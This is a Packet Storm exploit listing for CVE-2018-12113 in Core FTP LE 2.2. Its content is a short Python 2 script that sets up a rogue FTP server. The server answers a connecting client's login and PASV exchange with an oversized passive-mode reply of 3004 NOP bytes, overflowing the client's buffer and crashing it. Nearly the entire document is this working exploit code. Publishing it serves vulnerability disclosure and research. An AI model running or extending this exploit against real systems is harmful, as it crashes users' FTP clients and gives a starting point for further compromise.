Core FTP LE 2.2 Buffer Overflow

Core FTP LE version 2.2 buffer overflow proof of concept exploit.


MD5 | 9374afe7a9fa94be48ccc3512a486640

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# Exploit Title: Core FTP LE 2.2 - Buffer Overflow (PoC)
# Date: 2018-06-28
# Exploit Author: Berk Cem GAPksel
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download
# Version:  Core FTP Client LE v2.2 Build 1921
# Tested on: Windows 10
# Category: Dos
# CVE : CVE-2018-12113
# coding: utf-8
 
# Description:]
# The vulnerability was discovered during a vulnerability research lecture.
# This is meant to be a PoC.
 
#!/usr/bin/env python
 
import socket
 
IP = '0.0.0.0'
port = 21
 
 
Stack_beginning = 3004
 
buff = "\x90" * (3004)
 
try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind((IP, port))
        s.listen(20)
        print("[i] FTP Server started on port: "+str(port)+"\r\n")
except:
        print("[!] Failed to bind the server to port: "+str(port)+"\r\n")
 
while True:
    conn, addr = s.accept()
    conn.send('220 Welcome!' + '\r\n')
    print conn.recv(1024)
    conn.send('331 OK.\r\n')
    print conn.recv(1024)
    conn.send('230 OK.\r\n')
    print conn.recv(1024)
    conn.send('215 UNIX Type: L8\r\n')
    print conn.recv(1024)
    conn.send('257 "/" is current directory.\r\n')
    print conn.recv(1024)
    conn.send('227 Entering Passive Mode (' + buff +  ')\r\n')
    print conn.recv(1024)
    conn.send('257' + '\r\n')



Source: packetstormsecurity.com
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